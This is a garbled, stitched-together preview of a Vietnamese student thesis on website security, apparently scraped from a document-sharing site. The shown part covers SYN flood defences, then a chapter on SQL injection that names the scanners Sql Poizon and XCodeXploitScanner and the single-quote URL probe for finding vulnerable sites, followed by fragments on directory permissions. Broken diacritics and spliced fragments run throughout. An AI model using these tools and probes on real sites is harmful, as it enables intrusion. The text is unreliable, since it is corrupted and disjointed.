phòng chống kiểu công ngập lụt SYN Tuy nhiên có phần mềm có khả tránh kiểu cơng Ví dụ với Linux kernels 2.0.30 sau cài đặt tùy chọn gọi SYN Cookie, kernel có nhiệm vụ truy tìm lưu vết khả xảy kĩ thuật SYN Sau đó, kernel sử dụng giao thức mã hoá SYN cookie cho phép người dùng hợp lệ hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở sau, sử dụng kĩ thuật backlog, hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài ngun cho hàng đợi, hang đợi khơng bị phá vỡ • Ứng dụng cho phép máy thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi lúc nhiều yêu câu gây tắc nghẽn CHƯƠNG III: TRIỂN KHAI CÁC PHƯƠNG PHÁP TẤN CÔNG VÀ GIẢI PHÁP BẢO MẬT WEBSITE 3.1 SQL Injection Để tiến hành tìm kiếm lỗi SQL Injection sử dụng số cơng cụ như: + Sql Poizon v1.1 Hình 3.1 Cơng cụ Sql Poizon v1.1 + XCodeXploitScanner Hình 3.2 Cơng cụ XCodeXploitScanner Sau tìm Website nghi vấn ta tiến hành kiểm tra lổi cách thêm dấu “’” vào sau url: ... quan an ninh mạng 1.2.1 Khái niệm an toàn an ninh mạng Trong khứ, an ninh thông tin thuật ngữ sử dụng để mô tả biện pháp bảo mật vật lý sử dụng để giữ cho phủ hay doanh nghiệp thông tin quan... trúc Website +CHMOD tiếp thư mục (diendan (http://diendan.doanchuyennganh.com), +CHMOD thư mục diendan (http://diendan.doanchuyennganh.com) thành 701, + CHMOD tiếp thư mục thư mục diendan (http://diendan.doanchuyennganh.com)... trying to use an ErrorDocument to handle the request Attacker khơng view Ngồi , số site bạn truy cập subdomain mà khơng dạng doanchuyenganh.com/diendan (http://diendan.doanchuyennganh.com), có

Ngày đăng: 31/01/2018, 10:53

Xem thêm:

TỪ KHÓA LIÊN QUAN

w